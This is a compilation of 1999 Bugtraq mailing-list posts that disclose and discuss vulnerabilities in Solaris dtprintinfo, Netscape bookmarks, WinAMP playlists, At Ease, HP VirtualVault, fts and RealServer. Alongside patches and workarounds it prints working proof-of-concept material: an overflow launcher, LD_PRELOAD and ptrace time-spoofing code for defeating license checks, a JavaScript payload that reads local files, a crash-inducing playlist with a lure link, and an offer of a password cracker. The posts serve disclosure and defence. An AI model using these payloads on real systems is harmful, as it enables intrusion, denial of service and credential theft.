Fri, 14 May 1999 11:19:03 -0400

On Wed, 12 May 1999, Brett Glass wrote:

> Date: Wed, 12 May 1999 13:15:51 -0600
> From: Brett Glass <brettLARIAT.ORG>
> To: BUGTRAQnetspace.org
> Subject: Re: Windump for Windows
>
> How do we know that this is not a remote sniffer? There's
> no source, so it's hard to tell without ANOTHER sniffer.
>
> --Brett Glass
>
> At 01:28 PM 5/11/99 -0700, Edward Gibbs wrote:
> >FYI...
> >
> >TCPdump is a network capture program developed by Network Research Group
> >(NRG) of the Information and Computing Sciences Division (ICSD) at Lawrence
> >Berkeley National Laboratory (LBNL) in Berkeley, California.
> >
> >Originally available only on UNIX platform, this is the porting on Windows
> >(95/98, NT 4.0). It consists in an executable (the windump main program)
> >with a network capture driver: both are specific for each platform.
> >
> >To download and install WinDump see:
> >
> >http://netgroup-serv.polito.it/tools/analyzer/Install/windump/
> >
> >Edward Gibbs, ediprg.nokia.com
> >Systems Engineer, Security Specialist
> >Nokia IP - http://www.iprg.nokia.com/
> >232 Java Drive, Sunnyvale, CA 94089 USA
> >Direct: 1-408-990-2187
> >Cellular: 1-408-504-4276
> >Fax: 1-408-743-5675
> >
> >perl -e 'print $i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);'
>

actually, the source code for all of the programs:
Analyzer.exe, packet95.exe, PacketNT.exe, WinDump.exe, WinDump95.exe
(plus libpcap, tcpslice, convdump, FlowsDet, query too)

can be found here:
http://netgroup-serv.polito.it/tools/analyzer/Install/bin/sources.zip

it's mirrored, of course, in the usual place too:
<http://packetstorm.genocide2600.com/>


take it easy,

Ken Williams
jkwilli2csc.ncsu.edu

Packet Storm Security                 http://packetstorm.genocide2600.com/
Trinux: Linux Security Toolkit http://www.trinux.org/ ftp://ftp.trinux.org
PGP DH/DSS/RSA Public Keys     http://packetstorm.genocide2600.com/pgpkey/
E.H.A.P. VP & Head of Operations http://www.ehap.org/   tattoomanehap.org
NCSU Computer Science    http://www.csc.ncsu.edu/    jkwilli2csc.ncsu.edu
SHANG: Secure Highly Available Networking Group http://shang.csc.ncsu.edu/

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: [Solaris2.6,2.7 dtprintinfo exploits]

Re: [Solaris2.6,2.7 dtprintinfo exploits]

Thiago MM Zaninotti (Thiago.M.M.ZaninottiUNILEVER.COM)
Fri, 14 May 1999 12:13:47 -0300

Hi Paul,

I'm sorry for the wrong output I've provided and you are correct: csh will
complain about long strings. I've already checked it in another shell and it
didn't appear to be vulnerable to the problem.


Thiago Zaninotti
IMC LABG


-----Original Message-----
From:	Paul Hart [SMTP:hartiserver.com]
Sent:	Thursday, May 13, 1999 8:15 PM
To:	Thiago MM Zaninotti
Subject:	Re: [Solaris2.6,2.7 dtprintinfo exploits]

On Wed, 12 May 1999, Thiago MM Zaninotti wrote:

> dtprintinfo in HPUX does not seen to be vulnerable to the overflow problem:
>
> % /usr/dt/bin/dtprintinfo -p `perl -e "print 'A' x 8000"`
> Pathname too long.
> %

That's a message from your shell, not the dtprintinfo program; the
dtprintinfo program is never being run.  Your shell thinks that 8000
characters in an argument is too long.  You'll need to use a different
shell that can handle long arguments (I use tcsh) or make a small C
program that execs dtprintinfo with the long command argument.  This
should work:

#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define LENGTH 8000

void main()
{
    char buffer[LENGTH];

    memset(buffer, 'A', LENGTH);
    buffer[LENGTH - 1] = '\0';
    execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p", buffer, NULL);
    printf("exec failed");
}

Also make sure (at least on Solaris) that you have a script in your
current directory named "lpstat" and that "." is the first element of your
PATH environment variable.  Here's what I have for my lpstat script:

#!/bin/sh
echo "system for lpprn: localhost"

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Clarification: LD_PRELOAD issue

Re: Clarification: LD_PRELOAD issue

John R. LoVerso (johnLOVERSO.SOUTHBOROUGH.MA.US)
Fri, 14 May 1999 11:51:09 -0400

This is a multi-part message in MIME format.
--------------92A923A295EA885F29EA0156
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here's an example I cooked up a few years ago that accomplishes
exactly this.  Works on FreeBSD.  ("make tryit")

John
--------------92A923A295EA885F29EA0156
Content-Type: application/x-shar;
 name="timeskew.shar"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="timeskew.shar"

# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	Makefile
#	timeskew.c
#
echo x - Makefile
sed 's/^X//' >Makefile << 'END-of-Makefile'
XNOPROFILE=1
XINTERNALLIB=1
XSHLIB_MAJOR=1
XSHLIB_MINOR=0
X
XLIB=    timeskew
XSRCS=   timeskew.c
X
Xtryit:	lib$(LIB).so.1.0
X	echo 'puts [clock format [clock seconds]]' | tclsh
X	echo 'puts [clock format [clock seconds]]' | \
X		env LD_PRELOAD=./libtimeskew.so.1.0 tclsh
X
X.include <bsd.lib.mk>
END-of-Makefile
echo x - timeskew.c
sed 's/^X//' >timeskew.c << 'END-of-timeskew.c'
X/*
X * Coerces the return value from gettimeofday() to always fall within
X * the time range starting at BASEDATE and ending at BASEDATE+TIMESPAN
X *
X * Todo: pick up BASEDATE and TIMESPAN from env variables
X */
X
X#include <sys/time.h>
X#include <sys/syscall.h>
X
X#ifndef BASEDATE
X#define BASEDATE 820472400		/* 1 Jan 1996 00:00:00 */
X
X#define TIMESPAN ONELEAPYEAR	
X/* really only want until 29 Dec 1996 (851835600), but this will do */
X#endif
X
X#define ONEDAY (24*60*60)
X#define ONEMONTH (ONEDAY*31)
X#define ONEYEAR (ONEDAY*365)
X#define ONELEAPYEAR (ONEDAY*366)
X
X#ifndef TIMESPAN
X#define TIMESPAN ONEMONTH
X#endif
X
Xint
Xgettimeofday(struct timeval *tp, struct timezone *tzp) {
X	int ret;
X
X	ret = __syscall(SYS_gettimeofday, 2, tp, tzp);
X	if (ret == 0 && tp != NULL) {
X		tp->tv_sec = ((tp->tv_sec - BASEDATE) % TIMESPAN) + BASEDATE;
X	}
X	return ret;
X}
X
END-of-timeskew.c
exit


--------------92A923A295EA885F29EA0156--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: SunOS 5.6 (X86) lpset vulnerability

Re: SunOS 5.6 (X86) lpset vulnerability

James Edwards (albenizEARTHLINK.NET)
Fri, 14 May 1999 00:58:27 -0400

Sam Carter wrote:

> It failed with: 'Permission denied: not in group 14' when I tried it on a
> SunOS 5.6 Generic_105181-11 sun4u sparc SUNW,Ultra-250
>
> the header stated that this was for x86, but the manpage says that:
>      Only a superuser or a member of Group 14 may execute lpset.
> and I'm assuming that is the same on both architectures.
>
> --sam

i get the same results on the x86 architecture...

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Real Media Server stores passwords in plain text

Re: Real Media Server stores passwords in plain text

cm3_1aM3r ("cm3_1aM3r")
Fri, 14 May 1999 07:03:08 +0000

On Wed, 14 Apr 1999, Francisco M. Marzoa Alonso wrote:

> My real media server information:
>
> fmmarzoaalexander:/usr/local/rserver/Bin > rmserver -version
> Creating Server Space...
> Starting RealServer 6.0 Core...
> RealServer (c) 1995-1998 RealNetworks, Inc. All rights reserved.
> Version:        6.0.3.353
> Platform: linux2
>
> The fact is that through installation process it ask for a password that
> itsn't hide neither when you write it, but worse is that this password is
> stored in the file /usr/local/rmserver/rmserver.cfg in plain format and
> this file have as default a 644 permision mask.
>

I downloaded the RealServer too, and noticed Real's kind of "open"
filosophy. I ran a search through the bugtraq archives and the post I'm
replying on came up in the search. It seems that exactly one month after
Real was warned by Francisco M. Marzoa Alonso completely nothing has
happened. Like Francisco said; the rmserver.cfg is world-readable and the
subdirectory dbm_b_db and (worse of all, like Adam Laurie already stated),
the dbm_b_db/users directory with user & passwd info is world-readable for
anyone with shell access to the machine running rmserver. There also is a
directory named "Secure", where -and I quote- you can "place secure
contents in" so "RealServer will authenticate the user" :(


So shell access to an rmserver = rmserver admin rights. (^.^)'

I re-reported this to Real. No response yet. Maybe if we all make a lot of
fuzz about it they'll get tired of mail and change their cracker-friendly
ways...

-- the cm3_1aM3r
(please don't think I'm some sort of script kiddo or something like that.
I like to pun at that scene by choosing such an utterly stupid name ;)

"People who generalize things are stupid!"

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: fts...(improved patch)

Re: fts...(improved patch)

Stas Kisel (stasSONET.CRIMEA.UA)
Fri, 14 May 1999 14:37:03 +0400

> From: Jordan Ritter <jpr5darkridge.com>
> OpenBSD definitely has the same problem.  last thing I remember thinking
> was that it was dying because realloc() was failing (as the fts stuff
> realloc()'s memory as the path grows) ..

fts realloc (pathlen+~1000b) of memory only, so realloc succeds.
The bug is in the adjusting pointers after realloc().

Next day after sending patch I've found another circumstanses that
triggered similar bug in fts.
This time some pointers were adjusted which did not belong to realloc()-ed
memory chunk.

Improved patch is below. Sorry for inconvenience.
Probably there are some similar bugs in fts code or patch. Please let me
know if you'll see any.

\bye
Stas

----------------------------- patch ----------------------------------
--- /usr/src/lib/libc/gen/fts.c.orig	Tue May 11 13:37:49 1999
+++ /usr/src/lib/libc/gen/fts.c	Fri May 14 14:02:58 1999
 -740,8 +740,26 
 	 * If had to realloc the path, adjust the addresses for the rest
 	 * of the tree.
 	 */
-	if (adjaddr)
+	if (adjaddr){
 		fts_padjust(sp, adjaddr);
+		/* Adjust the list, because we want to return it robust. */
+/* fix p->fts_path and p->fts_accpath
+   p->fts_accpath can be:
+	either cur->fts_path	(adjust, because cur is already adjusted)
+	either p->fts_path	(adjust)
+	either p->fts_name	(do not adjust)
+   I'm also almost sure that in first case cur->fts_path=p->fts_path...
+*/
+#define	ADJUST1(p) if((p)->fts_path != adjaddr){	\
+	if((p)->fts_accpath != (p)->fts_name){		\
+		(p)->fts_accpath =			\
+			(char *)adjaddr + ((p)->fts_accpath - (p)->fts_path);\
+	}						\
+	(p)->fts_path = adjaddr;			\
+}
+		for (p = head; p; p = p->fts_link)
+			ADJUST1(p);
+	}

 	/*
 	 * If not changing directories, reset the path back to original
 -974,18 +992,20 
 {
 	FTSENT *p;

-#define	ADJUST(p) {							\
-	(p)->fts_accpath =						\
-	    (char *)addr + ((p)->fts_accpath - (p)->fts_path);		\
+#define	ADJUST2(p) {							\
+	if((p)->fts_accpath != (p)->fts_name){				\
+		(p)->fts_accpath =					\
+		    (char *)addr + ((p)->fts_accpath - (p)->fts_path);	\
+	}								\
 	(p)->fts_path = addr;						\
 }
 	/* Adjust the current set of children. */
 	for (p = sp->fts_child; p; p = p->fts_link)
-		ADJUST(p);
+		ADJUST2(p);

 	/* Adjust the rest of the tree. */
 	for (p = sp->fts_cur; p->fts_level >= FTS_ROOTLEVEL;) {
-		ADJUST(p);
+		ADJUST2(p);
 		p = p->fts_link ? p->fts_link : p->fts_parent;
 	}
 }
----------------------------- /patch ----------------------------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: At Ease 5.0 Security Hole

At Ease 5.0 Security Hole

Tim Conrad (tconradKENWOOD.EDISONPROJECT.COM)
Thu, 13 May 1999 09:37:57 -0600

<it helps when you finish your message before hitting the 'send' button>


Hello;

    At Ease 5.0 will allow a user to access any user's volume on the server.

The tested configuration is as follows:

MacOS 7.6.1 (should work with anything greater than 7)
At Ease 5.0.2
AppleShare IP 5.0.3
Netscape 4.0.7 (No reason it shouldn't work from .99 to 4.5)

How to do it.

Log in as any user that has access to Netscape Communicator, and type in
file://Macintosh%20HD/System%20Folder/ and you are able to access the disk.

Do the same thing, except use
file://At%20Ease%20Volume%20Name/At%20Ease%20%Docs/username and it's quite easy
to browse through anyones files.

It is possible to download files from that users directory. I have been unable
to actually open any of the files once they are downloaded, however in an
educational setting, just viewing names in a certian directory could constitute
some serious problems (such as if a teacher works with Special Education
studends, and has a list of documents to their parents).

Apple apparently will not fix their own product. There is a 3rd party extention
available for this at: http://www.ncal.verio.com/~lsr/programs/MSIENoServers.hqx



Tim Conrad

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: ssh-1.2.27 is out.

ssh-1.2.27 is out.

Jonas Eriksson (jeSEKURE.NET)
Fri, 14 May 1999 11:25:23 +0200

ssh-1.2.27 is out, here is the changes since 1.2.26:

-cut-
Thu Apr 29 10:46:21 1999  Timo J. Rinne  <trissh.fi>

        * Replaced OSF1/C2 security support with more complete SIA
          (Security Integration Architecture).

Mon Feb 22 10:00:12 1999  Timo J. Rinne  <trissh.fi>

        * Added snprintf from ssh2.

        * Tatu's sprintf -> snprintf fixes.

        * Fixed potential buffer overflows.

        * Kerberos authentication disabled, if client is suid-root.
          This is the only way to avoid security problems that are
          in Kerberos rather than in ssh.

Wed Nov 25 00:04:11 1998  Tatu Ylonen  <ylossh.fi>

        * sshd.c (sgi_project_setup): patches from Luigi Pugnetti
          <luigisymbolic.it>, Eivind Gjelseth <eivindii.uib.no>,
          Randolph J. Herber <herberfnal.gov>, Sevo Stille <sevoinm.de>.

        * sshd.c (sgi_project_acct_on): patches from Vern Staats,
          staatsvrasc.hpc.mil.

        * sshd.c (login_permitted): Added support for locked accounts on
          AIX.  Thanks to "Delius, Felix von"
          <Felix.von-Deliusdresdner-bank.com>.

        * login.c: Improvements for glibc 2.0.100+ from D.A. Harris
          <rodmurecst.csuchico.edu>.

Tue Nov 24 23:27:20 1998  Tatu Ylonen  <ylossh.fi>

        * login.c: Removed assignment to ux.ut_exit.e_{termination,exit},
          because they are already zeroed and the assignment is causing
          problems on some platforms.

        * Fixed uninitialized variable err in sgi_project_setup (from
          Eivind Gjelseth <eivindii.uib.no>).

        * ssh-agent.c: Fixed -D (from Ian Goldberg
<iangcs.berkeley.edu>).

        * Fixed undefined __udiv_qrnnd bug on Solaris (reported by Karl
          Berry <karlsuite.deas.harvard.edu>).

        * Fixed a bug in idle timeouts (reported by "David
          M. Dandarnobody"nowhere).

        * Fixed deattack.c on Cray (patch from Andreas Schott
          <schottrzg.mpg.de>).

        * Fixed x11 forwarding on SunOS 4.1.4 (gethostbyname bug, reported
          by Bradford Hull <bradtera.com>.

        * Added snprintf from ssh2.  Changed most sprintfs to snprintf.

        * Fixed a hard-to-exploit security bug in Kerberos code.

        * Added length limitations in manu sprintfs.

Mon Jul 13 16:23:15 1998  Tero Kivinen  <kivinenssh.fi>

        * Removed extra ux.ut_syslen setting. Reported by Felix von
        Leitner <leitneramdiv.de>.

-cut-

-- Jonas Eriksson
   Sekure Security Research

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: LD_PRELOAD potential problems

Re: LD_PRELOAD potential problems

Roger Espel Llima (espelLLAIC.U-CLERMONT1.FR)
Fri, 14 May 1999 17:35:31 +0200

On Tue, May 11, 1999 at 09:51:40PM -0400, David F. Skoll wrote:

> I recently ran across a piece of software which depended upon knowing
> the time reasonably accurately.  By replacing the time(2) UNIX system
> call with my own function, I was able to fool the program and get it
> to misbehave, without the inconvenience of actually changing the system
> time or even requiring root privileges.

Getting a program to misbehave, when it's running under your uid, is no
trouble at all.  Just ptrace() the thing, put breakpoints, change its
variables, etc.

(read-only programs are supposedly protected against this, but this is a
rather iffy kind of protection, and I woulnd't base a program's security
on it)

> If you are writing programs which depend on C library functions or
> UNIX system calls for secure operation, please distribute only
> statically-linked versions, as the effort to fool statically-linked
> binaries is a lot higher than a simple LD_PRELOAD spoof.

If you are writing programs whose security model counts the uid they run
as as a potential attacker, your security is broken by design.

If the ordinary user has something to gain by making the program
misbehave, then the binary should be suid to some other uid, and
explicitly make the appropriate security checks.  In that case, any
non-braindead dynamic loader will ignore LD_PRELOAD.

If the program counts even the *admin* as a potential attacker, then
good luck -- it's security by obscurity, just hope that no-one takes the
time to break it.

--
Roger Espel Llima, espelllaic.u-clermont1.fr
http://www.eleves.ens.fr:8080/home/espel/index.html

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: pIRCH32/98 Exploit

pIRCH32/98 Exploit

Mike Arnold (mikey27HOTMAIL.COM)
Fri, 14 May 1999 04:56:55 PDT

pIRCH version 32 and 98 save the users NickName password onto disk in
c:\pirch32\pirch.ini or c:\pirch98\pirch.ini depending on what version.
pIRCH Encrypts the password but i have released a program that can crack the
password if you supply the .ini you need to get the victims pirch.ini file
somehow maybe Social Engineering or whatever, then run pIRCHCrack against
it. The user may also use the same password for their ISP, E-mail ETC.

pIRCHCrack is available at

http://members.xoom.com/zaiman/pirchcrack.zip

--Mike


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: TGAD DoS

TGAD DoS

John Daniele (JDanieleKPMG.CA)
Fri, 14 May 1999 17:34:26 -0400

TGAD DoS

VirtualVault Overview

The VirtualVault operating system is HP's solution to secure
electronic commerce. It is a B1 and B2 DoD compliant system
that is becoming increasingly popular with big business, banks, etc.,
The main security mechanism in which VVOS is based upon is data partitioning.
Data on the system is classified into one of four security classes, or 'vaults'
--
INSIDE, OUTSIDE, SYSTEM and SYSTEM HIGH. The INSIDE vault houses the server's
backend applications and databases. The OUTSIDE vault generally
contains the internet front end and any necessary CGI binaries, etc.
SYSTEM and SYSTEM HIGH are responsible for maintaining the external
webpages and audit logs respectively. These vaults are totally segregated
from each other and work essentially as separate machines. If a
program requires access to either of the vaults it must be authenticated
by HP's Trusted Gateway Proxy daemon. The TGP daemon filters all requests
from the internet and forwards them to middleware server packages that
safely reside behind the INSIDE vault.

TGA Bug

While the TGP daemon does a good job of ensuring the integrity of the
request prior to forwarding data to its destination, the trusted
gateway agent that is responsible for wrapping CGI requests does not
check the length of the request prior to sending it to TGP. This poses
a problem since TGA does not correctly handle request messages that
are more than 512 bytes in length. The result is a trivial DoS attack on
TGA and all services being wrapped by TGA. The bug was discovered during a
penetration test on a client system running VVOS 3.01. A post was made to
a CGI application residing on the system with a large string of characters.
This was then sent to the trusted gateway agent, causing the daemon
to crash, leaving the Netscape Enterprise Server unable to service further
HTTP/SSL requests. The NES logs show the following:

[07/May/1999:16:16:22] security: for host xxx.xxx.xxx.xxx trying to
GET /cgi-bin/somecgi.cgi?AAAAAAAAAAAAAAA..., vvtga_log reports: ERROR:
setup_connection():
Failed to transfer execution message to TGA daemon

And when NES is started back up:

[07/May/1999:16:28:18] info:  successful server startup
[07/May/1999:16:28:18] info: Netscape-Enterprise/3.5.1G B98.169.2301
[07/May/1999:16:33:18] failure: Error accepting connection -5993 (Resource
temporarily unavailable)

FIX

Chris Hudel of HP was notified of this bug on Wednesday May 12, 1999. He stated
that HP was aware of the problem and addressed it in patch PHSS 10747. However,
I am not
aware of HP releasing an official 'bug report' on this issue.
Since I have encountered several VVOS systems this past week that have not
been patched, and sysadmins unaware of this bug and patch, I decided to post
the
details publicly. NOTE: I have not tested this bug against PHSS 10747 and would
appreciate input from those who have at foofaber.to.

                                                - John Daniele
                                                  jdanielekpmg.ca
			  VOX: (416) 777-3759

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Netscape Communicator bookmarks <TITLE> security vulnerability

Netscape Communicator bookmarks <TITLE> security vulnerability

Georgi Guninski (joroNAT.BG)
Sun, 16 May 1999 17:17:34 +0300

This is a multi-part message in MIME format.
--------------F3105EC02EB2ADDFF54136DC
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit

There is a security bug in Netscape Communicator 4.51 Win95, 4.07 Linux
(guess all 4.x versions are affected) in the way they handle special
bookmarks
with JavaScript code in the title.

If you enclose a JavaScript code with <SCRIPT> tags in the <TITLE>
tag and bookmark that page, the JavaScript code is written in the local
bookmarks file.
Then when the bookmarks file is open, the JavaScript code is executed in
the security
context of a local file - the bookmarks file.
The bookmarks file may be open by a script, probably a server redirect
or by the user.
The bookmarks file name must be known, but it is easily guessed for most
dialup
users.

Vulnerabilities: reading user's bookmarks, browsing local directories,
reading local files (works fine on Linux, probably possible on Windows).

Workaround: Disable JavaScript or do not bookmark untrusted pages.

Demonstration is available at: http://www.nat.bg/~joro/book2.html
See attached file for the source.

Georgi Guninski
 http://www.nat.bg/~joro
 http://www.whitehats.com/guninski
--------------F3105EC02EB2ADDFF54136DC
Content-Type: text/html; charset=koi8-r;
 name="book2.html"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="book2.html"

<SCRIPT> alert('Bookmarks got control'); s='Here are some bookmarks: \n'; for(i=1;i<7;i++) s += document.links[i]+'\n'; alert(s); dirToRead='wysiwyg://2/file://c:/'; a=window.open(dirToRead); s='Here are some files in C:\\ :\n'; for(i=1;i<7;i++) s += a.document.links[i]+'\n'; a.close(); alert(s); </SCRIPT> There is a security bug in Netscape Communicator 4.51 Win95, 4.07 Linux (guess all 4.x versions are affected) in the way they handle special bookmarks with Javascript code in the title.
If you enclose a JavaScript code with <SCRIPT> tags in the <TITLE> tag and bookmark that page, the JavaScript code is written in the local bookmarks file. Then when the bookmarks file is open, the JavaScript code is executed in the security context of a local file. The bookmarks file may be open by a script, probably a server redirect or by the user. The bookmarks file name must be known - easily guessed for most dialup users.

Vulnerability: reading user's bookmarks, browsing local directories, reading local files (works fine on Linux, probably possible on Windows).
Workaround: Disable JavaScript or do not bookmark untrusted pages.



To test it:
1) Bookmark this page.
2) Close all NC windows and restart NC.
3) Open bookmarks file (change the filename in the field below if needed and click "Open bookmarks", or use File| Open Page... )

Enter the file name of your bookmarks file:
Open bookmarks
Go to Georgi Guninski's home page
--------------F3105EC02EB2ADDFF54136DC--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: fts, du, find

Re: fts, du, find

Przemyslaw Frasunek (venglinGADACZKA.DHS.ORG)
Fri, 14 May 1999 19:14:02 +0200

> 2. This bug probably applies to FreeBSD-3.1 and ever to OpenBSD and other.

Yes, I've tested it on 3.1-STABLE.

> I have no exploit and probably will no have a free time (I think
> 3 days is more than enough) for doing it, but I beleive it is
> possible to exploit this bug using carefully designed directory
> tree to execute arbitrary commands as root during
> /etc/daily->/etc/security->find.
> REMOTE ROOT EXPLOIT (POSSIBLE).

I think, that it will be hard to write an exploit. I've tested it on
my 2.2.8-RELEASE at home.

'Find' segfaults, when it tries to do:

  (void)puts(entry->fts_path);

because of junk pointer to structure 'entry'. IMHO it _always_
points to 0x200291d6, so it tries to execute (IMHO) _always_ the
same commands:

0x200291d6 <puts+34>:   repnz scasb %es:(%edi),%al
0x200291d7 <puts+35>:   scasb  %es:(%edi),%al
0x200291d8 <puts+36>:   movl   %ecx,%eax
0x200291d9 <puts+37>:   enter  $0xd0f7,$0x89
0x200291da <puts+38>:   notl   %eax
0x200291db <puts+39>:   rorb   0x488de455(%ecx)
0x200291dc <puts+40>:   movl   %edx,0xffffffe4(%ebp)
0x200291dd <puts+41>:   pushl  %ebp
0x200291de <puts+42>:   inb    $0x8d,%al
0x200291df <puts+43>:   leal   0xffffffff(%eax),%ecx
0x200291e0 <puts+44>:   decl   %eax
0x200291e1 <puts+45>:   decl   0x938de84d(%ecx)
0x200291e2 <puts+46>:   movl   %ecx,0xffffffe8(%ebp)
0x200291e3 <puts+47>:   decl   %ebp
0x200291e4 <puts+48>:   call   0xc1532576 <end+2705991902>

and here it segfaults.

--
* Fido: 2:480/124 ** WWW: lagoon.freebsd.org.pl/~venglin ** GSM:48-601-383657 *
* Inet: venglinlagoon.freebsd.org.pl ** PGP:D48684904685DF43EA93AFA13BE170BF *

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Clarification: LD_PRELOAD issue

Re: Clarification: LD_PRELOAD issue

Kragen Sitaker (kragenPOBOX.COM)
Fri, 14 May 1999 17:28:42 -0400

A Mr. Skoll writes:
> Now, any license manager can be spoofed, from as blunt an attack as
> changing the system time to sophisticated reverse-engineering attacks
> on the license manager binary.  The issue is to prevent "cheap"
> attacks -- if attacking the license manager is expensive enough,
> people won't bother (or they'll find other avenues of attack. :-))
>
> Changing the system time introduces all kinds of problems, so most
> potential license abusers won't do it.  A two-line shell script with a
> 6-line C program is a very cheap attack on a dynamically-linked
> license manager daemon.  Attacking a statically-linked license manager
> binary is quite a bit more expensive, and should greatly reduce the
> incentive for an attack.

This logic is utter nonsense when applied to programs.

It makes sense when applied to safes or encrypted messages.  If a
single safe takes 20 hours to break into, a thousand of them will take
20,000 hours to break into.

It does not make sense when applied to software.  If a single program
takes 20 hours to break into (quite a liberal estimate for most
copy-protection), then it will take perhaps another half hour to post
the exploit, and then ten minutes each to apply the fix to the other
thousand copies of the program, for a total of about 187 hours.

And static linking doesn't take care of it, either; root still can load
kernel modules to put each application in a different 'time zone', for
example, and running the license manager under a debugger that traps
calls to the time() function is also no big deal, and works fine even
if the program is statically linked.

In short: your battle is in vain, and the futile measures you employ in
it hurt the rest of us.  They hurt our system security, reliability,
and performance.  Your needs (treat the kernel and root as potential
crackers) are in direct opposition to those of us who wish to run
secure systems.

--
<kragenpobox.com>       Kragen Sitaker     <http://www.pobox.com/~kragen/>
TurboLinux is outselling NT in Japan's retail software market 10 to 1,
so I hear.
-- http://www.performancecomputing.com/opinions/unixriot/981218.shtml

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: At Ease 5.0 Security Hole

Re: At Ease 5.0 Security Hole

Vincent Janelle (malokaiGILDEA.NET)
Fri, 14 May 1999 18:48:37 -0700

This is not an apple problem mostly, its an MSIE problem.

Hell, is At Ease still supported?  Its just a replacement finder as far as
I know, it doesn't do things like replace fs drivers and patch binaries to
stop things like that.

------------
If you have any trouble sounding condescending, find a Unix user to show
you how it's done. -Scott Adams
--http://random.gimp.org --mailto:randomgimp.org --UIN 23939474

On Thu, 13 May 1999, Tim Conrad wrote:

> Apple apparently will not fix their own product. There is a 3rd party extention
> available for this at: http://www.ncal.verio.com/~lsr/programs/MSIENoServers.hqx
>
>
>
> Tim Conrad
>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Buffer overflow in WinAMP 2.x

Re: Buffer overflow in WinAMP 2.x

William Yodlowsky (wyodlowsroute1.nj.devry.edu)
Fri, 14 May 1999 15:56:28 -0400

Tested on WinAMP	v2.091 on Win95A and Win95B;
		 	v2.21 on Win98;
			v1.9? and v2.21 on WinNT 4.0WS

It produced GPFs on all except WinNT, where it opened but simply didn't
play.

--Bill
<wyodlowskyroute1.nj.devry.edu>
On Wed, 12 May 1999, Wojtek Kaniewski wrote:

> Introduction
> ------------
> WinAMP is a popular Windows sound player with support for many file
> formats (MP3, wave files, modules). It also supports MP3 streaming
> (let's call it sh0utcast).
>
> Description of the problem
> --------------------------
> If we tell WinAMP to open file location (Ctrl+L) which is over 256
> bytes long, it'll produce nice GPF. The bug also appears when loading
> playlists (.m3u and .pls)
>
> What can we do with this bug?
> -----------------------------
> Many sh0utcast radios place .pls files on their websites, which contain
> URL for radio's sh0utcast server.
>
> If we'll make b00m.pls file like this...
>
>   [playlist]
>   NumberOfEntries=1
>   File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (about 256 A's)
>
> and put such link...
>
>   <A HREF="b00m.pls">Techno explosion -- The Coolest MP3 Radio</A>
>
> on our website, we can make couple of WinAMPs crash. I suppose, that
> there's a possibility to put our own code in the filename (see cDc-351
> for details).
>
> Nullsoft (producer of WinAMP) has been noticed about the bug two
> versions ago.
>
> --
> wojtekkairc.pl :: http://wojtekka.stone.pl/ :: ^wojtekkaircnet
>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Clarification: LD_PRELOAD issue

Re: Clarification: LD_PRELOAD issue

John Daniele (JDanieleKPMG.CA)
Sat, 15 May 1999 18:52:53 -0400

/*
  * rollover.c
  *
  * using ptrace() to intercept and modify the return value of a system call
  *
  * John Daniele
  * jdanielekpmg.ca
  * VOX: (416) 777-3759
  *
  */

#include <unistd.h>
#include <sys/ptrace.h>

int main(void)
{	
	int ret, x, y;
	pid_t procid;

	if(procid = fork()) {		
		for(;;) {
			x = ptrace(PTRACE_PEEKUSR, procid, 44, 0);
			if(x == 13) {	
				y = ptrace(PTRACE_PEEKUSR, procid, EBX,
0);		
				ptrace(PTRACE_POKEDATA, procid, y,
2175984000);	
			}
			ptrace(PTRACE_SYSCALL, procid, 1, 0);	
		}	
	}	
	ptrace(PTRACE_TRACEME, 0, 1, 0);	
	execl("/bin/date", "/bin/date", NULL, (char *)0);
}

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Secure Storage of Secrets in Windows

Secure Storage of Secrets in Windows

Aleph One (aleph1UNDERGROUND.ORG)
Mon, 17 May 1999 14:57:31 -0700

Not long ago we discussed why you still see messages that describe
yet another application that stores passwords in an insecure manner,
in particular under Windows. The bottom line was that there are two
common cases.

The first one is where an application needs to authenticate a user
again the password. In many of these cases the plaintext password
can be replaced by a one way hash with little or no loss of functionality.
The second case is that where an application requires the password
to authenticate itself against a service on behalf of the user but
without prompting them for the password after the first time.

Several people mentioned that an application or agent could be created
that can store securely these secrets for many applications. The user
would then only need to authenticate itself once again this application
or agent to allow any other applications running under its id to request
their secrets. Although this system does not stop rouge applications
(e.g. trojans, BackOrifice) from stealing the secrets, it does stop a whole
range of vulnerabilities from doing so (e.g. javascript file stealing
vulnerabilities, world-readable shares, etc).

The Win32 API provides such service. Although in the past it was found
that its encryption was rather weak Microsoft claims to have fixed it,
no one else has claimed otherwise, and its better than nothing.
(References: http://www.netsys.com/firewalls/firewalls-9512/0442.html
http://www.geek-girl.com/bugtraq/1995_4/0138.html ).

So here is a reminder to Windows application programs that you can use
WNetCachePassword and WNetGetCachedPassword, which in some documentation
MS calls the Master Password API.

--
Aleph One / aleph1underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01

